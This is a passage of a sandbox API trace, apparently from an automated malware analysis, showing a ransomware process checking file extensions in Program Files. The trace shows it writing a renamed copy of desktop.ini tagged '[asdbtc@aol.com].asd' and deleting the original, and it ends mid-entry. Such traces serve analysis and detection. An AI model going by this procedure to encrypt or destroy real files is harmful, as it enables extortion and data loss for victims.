[0057.345] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.345] lstrlenW (lpString=".zip") returned 4 [0057.345] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.345] lstrlenW (lpString=".rar") returned 4 [0057.345] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.345] lstrlenW (lpString=".bz2") returned 4 [0057.345] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.345] lstrlenW (lpString=".7z") returned 3 [0057.345] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.345] lstrlenW (lpString=".dbf") returned 4 [0057.345] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.345] lstrlenW (lpString=".1cd") returned 4 [0057.345] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.345] lstrlenW (lpString=".jpg") returned 4 [0057.345] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.345] lstrlenW (lpString=".doc") returned 4 [0057.345] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.345] lstrlenW (lpString=".docx") returned 5 [0057.345] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.345] lstrlenW (lpString=".pdf") returned 4 [0057.345] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.345] lstrlenW (lpString=".xls") returned 4 [0057.345] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.345] lstrlenW (lpString=".xlsx") returned 5 [0057.346] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.346] lstrlenW (lpString=".ppt") returned 4 [0057.346] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.346] lstrlenW (lpString=".zip") returned 4 [0057.346] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.346] lstrlenW (lpString=".rar") returned 4 [0057.346] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.346] lstrlenW (lpString=".bz2") returned 4 [0057.346] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.346] lstrlenW (lpString=".7z") returned 3 [0057.346] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.346] lstrlenW (lpString=".dbf") returned 4 [0057.346] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.346] lstrlenW (lpString=".1cd") returned 4 [0057.346] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.346] lstrlenW (lpString=".jpg") returned 4 [0057.346] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.346] lstrcmpiW (lpString1=".inc", lpString2=".asd") returned 1 [0057.346] lstrlenW (lpString="adcjavas.inc") returned 12 [0057.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.347] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=630) returned 1 [0057.348] CloseHandle (hObject=0x218) returned 1 [0057.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0057.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.348] lstrlenW (lpString=".doc") returned 4 [0057.348] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.348] lstrlenW (lpString=".docx") returned 5 [0057.348] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.348] lstrlenW (lpString=".pdf") returned 4 [0057.348] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.348] lstrlenW (lpString=".xls") returned 4 [0057.348] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.348] lstrlenW (lpString=".xlsx") returned 5 [0057.348] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.348] lstrlenW (lpString=".ppt") returned 4 [0057.348] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.348] lstrlenW (lpString=".zip") returned 4 [0057.348] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.348] lstrlenW (lpString=".rar") returned 4 [0057.348] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.348] lstrlenW (lpString=".bz2") returned 4 [0057.348] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.348] lstrlenW (lpString=".7z") returned 3 [0057.349] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.349] lstrlenW (lpString=".dbf") returned 4 [0057.349] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.349] lstrlenW (lpString=".1cd") returned 4 [0057.349] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.349] lstrlenW (lpString=".jpg") returned 4 [0057.349] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.349] lstrlenW (lpString=".doc") returned 4 [0057.349] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.349] lstrlenW (lpString=".docx") returned 5 [0057.349] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.349] lstrlenW (lpString=".pdf") returned 4 [0057.349] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.349] lstrlenW (lpString=".xls") returned 4 [0057.349] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.349] lstrlenW (lpString=".xlsx") returned 5 [0057.349] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.349] lstrlenW (lpString=".ppt") returned 4 [0057.349] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.349] lstrlenW (lpString=".zip") returned 4 [0057.349] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.349] lstrlenW (lpString=".rar") returned 4 [0057.349] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.349] lstrlenW (lpString=".bz2") returned 4 [0057.349] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.349] lstrlenW (lpString=".7z") returned 3 [0057.350] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.350] lstrlenW (lpString=".dbf") returned 4 [0057.350] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.350] lstrlenW (lpString=".1cd") returned 4 [0057.350] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0057.350] lstrlenW (lpString=".jpg") returned 4 [0057.350] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.350] lstrcmpiW (lpString1=".inc", lpString2=".asd") returned 1 [0057.350] lstrlenW (lpString="adcvbs.inc") returned 10 [0057.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.350] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=623) returned 1 [0057.350] CloseHandle (hObject=0x218) returned 1 [0057.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0057.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.351] lstrlenW (lpString=".doc") returned 4 [0057.351] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.351] lstrlenW (lpString=".docx") returned 5 [0057.351] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.351] lstrlenW (lpString=".pdf") returned 4 [0057.351] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.351] lstrlenW (lpString=".xls") returned 4 [0057.351] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.351] lstrlenW (lpString=".xlsx") returned 5 [0057.351] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.351] lstrlenW (lpString=".ppt") returned 4 [0057.351] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.351] lstrlenW (lpString=".zip") returned 4 [0057.351] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.351] lstrlenW (lpString=".rar") returned 4 [0057.351] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.351] lstrlenW (lpString=".bz2") returned 4 [0057.351] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.351] lstrlenW (lpString=".7z") returned 3 [0057.351] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.351] lstrlenW (lpString=".dbf") returned 4 [0057.351] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.351] lstrlenW (lpString=".1cd") returned 4 [0057.351] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.352] lstrlenW (lpString=".jpg") returned 4 [0057.352] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.352] lstrlenW (lpString=".doc") returned 4 [0057.352] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.352] lstrlenW (lpString=".docx") returned 5 [0057.352] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.352] lstrlenW (lpString=".pdf") returned 4 [0057.352] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.352] lstrlenW (lpString=".xls") returned 4 [0057.352] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.352] lstrlenW (lpString=".xlsx") returned 5 [0057.352] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.352] lstrlenW (lpString=".ppt") returned 4 [0057.352] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.352] lstrlenW (lpString=".zip") returned 4 [0057.352] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.352] lstrlenW (lpString=".rar") returned 4 [0057.352] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.352] lstrlenW (lpString=".bz2") returned 4 [0057.352] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.352] lstrlenW (lpString=".7z") returned 3 [0057.352] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.352] lstrlenW (lpString=".dbf") returned 4 [0057.352] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.352] lstrlenW (lpString=".1cd") returned 4 [0057.352] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0057.353] lstrlenW (lpString=".jpg") returned 4 [0057.353] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.353] lstrcmpiW (lpString1=".inc", lpString2=".asd") returned 1 [0057.353] lstrlenW (lpString="oledbjvs.inc") returned 12 [0057.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.355] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=9804) returned 1 [0057.355] CloseHandle (hObject=0x218) returned 1 [0057.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0057.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0057.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0057.356] lstrlenW (lpString=".doc") returned 4 [0057.356] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.356] lstrlenW (lpString=".docx") returned 5 [0057.356] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.356] lstrlenW (lpString=".pdf") returned 4 [0057.356] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.356] lstrlenW (lpString=".xls") returned 4 [0057.356] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.356] lstrlenW (lpString=".xlsx") returned 5 [0057.356] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.356] lstrlenW (lpString=".ppt") returned 4 [0057.356] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0057.356] lstrlenW (lpString=".zip") returned 4 [0057.356] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.356] lstrlenW (lpString=".rar") returned 4 [0057.356] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.356] lstrlenW (lpString=".bz2") returned 4 [0057.356] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.356] lstrlenW (lpString=".7z") returned 3 [0057.356] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0057.356] lstrlenW (lpString=".dbf") returned 4 [0057.356] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.357] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.357] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.357] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.358] GetLastError () returned 0x0 [0057.358] ReadFile (in: hFile=0x218, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0xae, lpOverlapped=0x0) returned 1 [0057.358] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0057.359] ReadFile (in: hFile=0x218, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.359] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.359] SetEndOfFile (hFile=0x168) returned 1 [0057.360] CloseHandle (hObject=0x168) returned 1 [0057.360] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.360] SetEndOfFile (hFile=0x218) returned 1 [0057.361] CloseHandle (hObject=0x218) returned 1 [0057.361] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x26) returned 1 [0057.361] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0057.361] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.361] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.361] lstrlenW (lpString=".doc") returned 4 [0057.361] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0057.361] lstrlenW (lpString=".docx") returned 5 [0057.361] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0057.361] lstrlenW (lpString=".pdf") returned 4 [0057.362] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0057.362] lstrlenW (lpString=".xls") returned 4 [0057.362] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0057.362] lstrlenW (lpString=".xlsx") returned 5 [0057.362] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0057.362] lstrlenW (lpString=".ppt") returned 4 [0057.362] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0057.362] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.362] lstrlenW (lpString=".zip") returned 4 [0057.362] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0057.362] lstrlenW (lpString=".rar") returned 4 [0057.362] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0057.362] lstrlenW (lpString=".bz2") returned 4 [0057.362] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0057.362] lstrlenW (lpString=".7z") returned 3 [0057.362] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0057.362] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.362] lstrlenW (lpString=".dbf") returned 4 [0057.362] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0057.362] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.362] lstrlenW (lpString=".1cd") returned 4 [0057.362] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0057.362] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.362] lstrlenW (lpString=".jpg") returned 4 [0057.362] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0057.362] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.362] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.362] lstrlenW (lpString=".doc") returned 4 [0057.362] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0057.362] lstrlenW (lpString=".docx") returned 5 [0057.362] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0057.363] lstrlenW (lpString=".pdf") returned 4 [0057.363] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0057.363] lstrlenW (lpString=".xls") returned 4 [0057.363] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0057.363] lstrlenW (lpString=".xlsx") returned 5 [0057.363] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0057.363] lstrlenW (lpString=".ppt") returned 4 [0057.363] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0057.363] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.363] lstrlenW (lpString=".zip") returned 4 [0057.363] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0057.363] lstrlenW (lpString=".rar") returned 4 [0057.363] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0057.363] lstrlenW (lpString=".bz2") returned 4 [0057.363] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0057.363] lstrlenW (lpString=".7z") returned 3 [0057.363] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0057.363] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.363] lstrlenW (lpString=".dbf") returned 4 [0057.363] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0057.363] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.363] lstrlenW (lpString=".1cd") returned 4 [0057.363] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0057.363] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0057.363] lstrlenW (lpString=".jpg") returned 4 [0057.363] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0057.363] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0057.363] lstrlenW (lpString="DissolveAnother.png") returned 19 [0057.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.614] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27935) returned 1 [0057.614] CloseHandle (hObject=0x1f0) returned 1 [0057.614] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0057.614] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.614] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.614] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.614] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.614] lstrlenW (lpString=".doc") returned 4 [0057.614] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.614] lstrlenW (lpString=".docx") returned 5 [0057.614] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0057.614] lstrlenW (lpString=".pdf") returned 4 [0057.615] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.615] lstrlenW (lpString=".xls") returned 4 [0057.615] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.615] lstrlenW (lpString=".xlsx") returned 5 [0057.615] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0057.615] lstrlenW (lpString=".ppt") returned 4 [0057.615] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.615] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0057.615] lstrlenW (lpString=".zip") returned 4 [0057.615] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.615] lstrlenW (lpString=".rar") returned 4 [0057.615] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.615] lstrlenW (lpString=".bz2") returned 4 [0057.615] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.615] lstrlenW (lpString=".7z") returned 3 [0057.615] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.615] lstrlenW (lpString="C:\\Program 